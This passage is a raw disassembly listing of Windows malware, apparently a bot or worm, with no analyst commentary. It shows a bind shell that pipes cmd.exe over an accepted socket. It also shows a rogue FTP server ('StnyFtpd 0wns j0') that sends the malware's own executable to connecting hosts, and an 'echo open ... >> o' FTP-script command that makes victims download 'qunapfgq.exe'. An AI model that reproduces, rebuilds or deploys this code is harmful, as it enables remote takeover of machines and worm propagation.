and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE6F8
call ds:dword_4270EC ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40EEDA
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4CE708
call dword_4CBA24 ; send
jmp short loc_40EEDA
sub_40EED1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EF1C proc near ; DATA XREF: sub_401ACD+2CCAo
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
push 1
xor edi, edi
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp+var_38]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_38], 2
push [ebp+var_98]
call dword_4CB9D4 ; htons
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4CBA54 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+var_38]
push 10h
push eax
push [ebp+arg_0]
call dword_4CBA00 ; bind
push 5
push [ebp+arg_0]
call dword_4CB9FC ; listen
mov ebx, ds:dword_427108
mov esi, ds:dword_427070
loc_40EF9C: ; CODE XREF: sub_40EF1C+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4CBA68 ; accept
mov dword_4CE708, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE704
push offset dword_4CE700
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4CE6FC
push offset dword_4CE6F8
call ebx ; CreatePipe
push 44h
lea eax, [ebp+var_7C]
push edi
push eax
call sub_41BF70
mov eax, dword_4CE700
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4CE6FC
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call ds:dword_427104 ; GetCurrentProcess
push eax
push dword_4CE6FC
call ds:dword_427104 ; GetCurrentProcess
push eax
call ds:dword_427100 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call ds:dword_427074 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EED1
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_427084 ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EE8E
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_427084 ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call ds:dword_4270A8 ; WaitForSingleObject
push edi
push [ebp+var_10]
call ds:dword_4270B4 ; TerminateThread
push edi
push [ebp+var_14]
call ds:dword_4270B4 ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call ds:dword_4270FC ; TerminateProcess
push dword_4CE700
call esi ; CloseHandle
push dword_4CE704
call esi ; CloseHandle
push dword_4CE6F8
call esi ; CloseHandle
push dword_4CE6FC
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40EF9C
sub_40EF1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40F0EC proc near ; DATA XREF: .data:0042900Co
jmp $+5
sub_40F0EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F0F1 proc near
push 0FFFEh
push 400h
call sub_418BD1
pop ecx
mov dword_4CE710, eax
pop ecx
retn
sub_40F0F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F108 proc near ; DATA XREF: sub_40BD91+34Do
var_6C0 = byte ptr -6C0h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_A4]
call dword_4CB9D4 ; htons
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4CBA54 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40F1AF
cmp [ebp+var_1C], ebx
jnz short loc_40F18F
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F18F: ; CODE XREF: sub_40F108+65j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_40F1AF: ; CODE XREF: sub_40F108+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40F2AA
call dword_4CB968 ; WSAGetLastError
cmp eax, 2740h
jz short loc_40F22F
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F20F
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F20F: ; CODE XREF: sub_40F108+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_40F22F: ; CODE XREF: sub_40F108+DEj
push 0FFFEh
push ebx
call sub_418BD1
pop ecx
mov dword_4CE710, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, esi
jnz short loc_40F2AA
call dword_4CB968 ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F28A
cmp eax, 2740h
jz short loc_40F28A
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F28A: ; CODE XREF: sub_40F108+159j
; sub_40F108+160j
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
push [ebp+var_AC]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_40F2AA: ; CODE XREF: sub_40F108+CDj
; sub_40F108+14Cj
push 5
push edi
call dword_4CB9FC ; listen
cmp eax, esi
jz loc_40F38F
mov [ebp+var_4], 10h
mov esi, offset aQunapfgq_exe ; "qunapfgq.exe"
loc_40F2C7: ; CODE XREF: sub_40F108+1D7j
; sub_40F108+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40F2C7
cmp [ebp+var_1C], 0
jnz short loc_40F308
push 0
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409869
add esp, 14h
loc_40F308: ; CODE XREF: sub_40F108+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40F2C7
push esi
push esi
push dword_4CB710
push [ebp+var_B0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+var_6C0]
push ebx
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_6C0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_6C0]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_40F2C7
inc dword_4CE718
jmp loc_40F2C7
; ---------------------------------------------------------------------------
loc_40F38F: ; CODE XREF: sub_40F108+1ADj
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_AC]
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
sub_40F108 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3AA proc near ; DATA XREF: sub_40BD91+22Ao
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = byte ptr -23Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_20], ebx
mov [ebp+var_18], ebx
mov [ebp+var_22C], esi
mov [ebp+var_43C], esi
call ds:dword_4271D8 ; WSAStartup
push esi
push ebx
push 2
call ds:dword_427204 ; socket
mov esi, ds:dword_4271DC
lea ecx, [ebp+var_28]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_20]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push edi
call ds:dword_4271E0 ; ioctlsocket
mov ax, word ptr dword_4CB710
and [ebp+var_38], 0
push eax
mov [ebp+var_3C], 2
call dword_4CB9D4 ; htons
mov [ebp+var_3A], ax
lea eax, [ebp+var_3C]
push 10h
push eax
push edi
call ds:dword_4271E4 ; bind
test eax, eax
jge short loc_40F470
mov eax, ebx
jmp loc_40F9B8
; ---------------------------------------------------------------------------
loc_40F470: ; CODE XREF: sub_40F3AA+BDj
push 0Ah
push edi
call ds:dword_4271E8 ; listen
mov [ebp+var_22C], ebx
mov ebx, ds:dword_427208
mov [ebp+var_228], edi
mov [ebp+var_4], edi
loc_40F48E: ; CODE XREF: sub_40F3AA+11Dj
; sub_40F3AA+606j
push 41h
lea esi, [ebp+var_22C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor esi, esi
lea eax, [ebp+var_43C]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_42720C ; select
cmp eax, 0FFFFFFFFh
jz loc_40F9B5
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_40F48E
loc_40F4C9: ; CODE XREF: sub_40F3AA+600j
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BF70
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jz loc_40F9A3
cmp edi, [ebp+var_8]
jnz short loc_40F580
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_23C]
push eax
push [ebp+var_8]
call ds:dword_4271EC ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F9A3
xor ecx, ecx
cmp [ebp+var_22C], esi
jbe short loc_40F54A
lea edx, [ebp+var_228]
loc_40F53A: ; CODE XREF: sub_40F3AA+19Ej
cmp [edx], eax
jz short loc_40F54A
inc ecx
add edx, 4
cmp ecx, [ebp+var_22C]
jb short loc_40F53A
loc_40F54A: ; CODE XREF: sub_40F3AA+188j
; sub_40F3AA+192j
cmp ecx, [ebp+var_22C]
jnz short loc_40F568
cmp [ebp+var_22C], 40h
jnb short loc_40F568
mov [ebp+ecx*4+var_228], eax
inc [ebp+var_22C]
loc_40F568: ; CODE XREF: sub_40F3AA+1A6j
; sub_40F3AA+1AFj
cmp eax, [ebp+var_4]
jle short loc_40F570
mov [ebp+var_4], eax
loc_40F570: ; CODE XREF: sub_40F3AA+1C1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40F9A3
; ---------------------------------------------------------------------------
loc_40F580: ; CODE XREF: sub_40F3AA+15Aj
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call ds:dword_4271FC ; recv
test eax, eax
jg short loc_40F5E7
mov edx, [ebp+var_22C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40F5DB
lea eax, [ebp+var_228]
loc_40F5A7: ; CODE XREF: sub_40F3AA+207j
cmp [eax], edi
jz short loc_40F5B5
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40F5A7
jmp short loc_40F5DB
; ---------------------------------------------------------------------------
loc_40F5B5: ; CODE XREF: sub_40F3AA+1FFj
dec edx
cmp ecx, edx
jnb short loc_40F5D5
lea eax, [ebp+ecx*4+var_228]
loc_40F5C1: ; CODE XREF: sub_40F3AA+229j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_22C]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40F5C1
loc_40F5D5: ; CODE XREF: sub_40F3AA+20Ej
dec [ebp+var_22C]
loc_40F5DB: ; CODE XREF: sub_40F3AA+1F5j
; sub_40F3AA+209j
push edi
call ds:dword_427200 ; closesocket
jmp loc_40F9A3
; ---------------------------------------------------------------------------
loc_40F5E7: ; CODE XREF: sub_40F3AA+1E9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_3 ; "%s %s"
push eax
call sub_41CCE3
lea eax, [ebp+var_B0]
push offset aUser_1 ; "USER"
push eax
call sub_41CA50
add esp, 18h
test eax, eax
jnz short loc_40F62B
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F62B: ; CODE XREF: sub_40F3AA+272j
lea eax, [ebp+var_B0]
push offset aPass ; "PASS"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F64C
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F64C: ; CODE XREF: sub_40F3AA+296j
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F66D
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F66D: ; CODE XREF: sub_40F3AA+2B7j
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F68E
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp short loc_40F6AD
; ---------------------------------------------------------------------------
loc_40F68E: ; CODE XREF: sub_40F3AA+2D8j
lea eax, [ebp+var_B0]
push offset off_43492C
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6B3
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
loc_40F6AD: ; CODE XREF: sub_40F3AA+27Cj
; sub_40F3AA+2A0j ...
push edi
jmp loc_40F98C
; ---------------------------------------------------------------------------
loc_40F6B3: ; CODE XREF: sub_40F3AA+2F9j
mov edi, offset aType ; "TYPE"
lea eax, [ebp+var_B0]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6EF
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6EF
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F6EF: ; CODE XREF: sub_40F3AA+31Fj
; sub_40F3AA+336j
lea eax, [ebp+var_B0]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F726
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F726
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F726: ; CODE XREF: sub_40F3AA+356j
; sub_40F3AA+36Dj
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F771
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40F764: ; CODE XREF: sub_40F3AA+406j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
jmp loc_40F98E
; ---------------------------------------------------------------------------
loc_40F771: ; CODE XREF: sub_40F3AA+391j
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F7B2
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40F764
; ---------------------------------------------------------------------------
loc_40F7B2: ; CODE XREF: sub_40F3AA+3DCj
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40F883
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_2A0]
push offset aS_1 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41CCE3
lea eax, [ebp+var_FC]
push eax
call sub_41C159
mov edi, eax
lea eax, [ebp+var_2D4]
push eax
call sub_41C159
mov [ebp+var_C], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41BF70
add esp, 34h
lea eax, [ebp+var_FC]
push [ebp+var_C]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_41C266
push 10h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41C7A5
add esp, 1Ch
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_4C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41C266
add esp, 18h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40F989
; ---------------------------------------------------------------------------
loc_40F883: ; CODE XREF: sub_40F3AA+41Dj
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40F96A
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push [ebp+arg_0]
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_4C]
push eax
call sub_40F9BF
pop ecx
cmp eax, 1
pop ecx
jnz loc_40F960
cmp [ebp+var_444], esi
jnz short loc_40F8ED
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409869
add esp, 14h
loc_40F8ED: ; CODE XREF: sub_40F3AA+51Ej
call sub_40FA3C
cmp eax, 1
jnz loc_40F98E
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push [ebp+arg_0]
call ebx ; send
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_8E0]
push offset dword_434798
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F94B
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409869
add esp, 14h
loc_40F94B: ; CODE XREF: sub_40F3AA+57Cj
lea eax, [ebp+var_8E0]
push eax
call sub_415D38
inc dword_4CE4E0
pop ecx
jmp short loc_40F98E
; ---------------------------------------------------------------------------
loc_40F960: ; CODE XREF: sub_40F3AA+512j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40F989
; ---------------------------------------------------------------------------
loc_40F96A: ; CODE XREF: sub_40F3AA+4EEj
lea eax, [ebp+var_B0]
push offset aQuit ; "QUIT"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40F98E
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40F989: ; CODE XREF: sub_40F3AA+340j
; sub_40F3AA+377j ...
push [ebp+arg_0]
loc_40F98C: ; CODE XREF: sub_40F3AA+304j
call ebx ; send
loc_40F98E: ; CODE XREF: sub_40F3AA+3C2j
; sub_40F3AA+54Bj ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BF70
mov edi, [ebp+arg_0]
add esp, 0Ch
loc_40F9A3: ; CODE XREF: sub_40F3AA+151j
; sub_40F3AA+17Aj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40F4C9
jmp loc_40F48E
; ---------------------------------------------------------------------------
loc_40F9B5: ; CODE XREF: sub_40F3AA+10Fj
push 1
pop eax
loc_40F9B8: ; CODE XREF: sub_40F3AA+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9BF proc near ; CODE XREF: sub_40F3AA+508p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4271D8 ; WSAStartup
push 0
push 1
push 2
call ds:dword_427204 ; socket
push [ebp+arg_0]
mov dword_4CE71C, eax
mov [ebp+var_10], 2
call ds:dword_4271F0 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_4271F4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4CE71C
call ds:dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40FA37
push dword_4CE71C
call ds:dword_427200 ; closesocket
call ds:dword_4271D4 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FA37: ; CODE XREF: sub_40F9BF+60j
push 1
pop eax
leave
retn
sub_40F9BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA3C proc near ; CODE XREF: sub_40F3AA:loc_40F8EDp
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call ds:dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset dword_429068
push eax
call sub_41BEA2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FAD3
test byte ptr [esi+0Ch], 10h
jnz short loc_40FAB7
push edi
mov edi, 400h
loc_40FA7F: ; CODE XREF: sub_40FA3C+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_41BAFA
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_4CE71C
call ds:dword_427208 ; send
push 1
call ds:dword_427080 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40FA7F
pop edi
loc_40FAB7: ; CODE XREF: sub_40FA3C+3Bj
push esi
call sub_41BA3B
pop ecx
push dword_4CE71C
call ds:dword_427200 ; closesocket
call ds:dword_4271D4 ; WSACleanup
push 1
pop eax
loc_40FAD3: ; CODE XREF: sub_40FA3C+35j
pop esi
leave
retn
sub_40FA3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o
; sub_40BD91+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41BF70
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CB9D4 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FEC1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
push 7FFFFFFFh
push edi
call dword_4CB9FC ; listen
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CBA70 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40FEC1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB9BC ; select
cmp eax, 0FFFFFFFFh
jz loc_40FEBC
xor esi, esi
mov [ebp+var_4], esi
loc_40FBE3: ; CODE XREF: sub_40FAD6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB8C0 ; __WSAFDIsSet
test eax, eax
jz loc_40FEA7
cmp esi, [ebp+var_C]
jnz short loc_40FC65
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FEA7
xor ecx, ecx
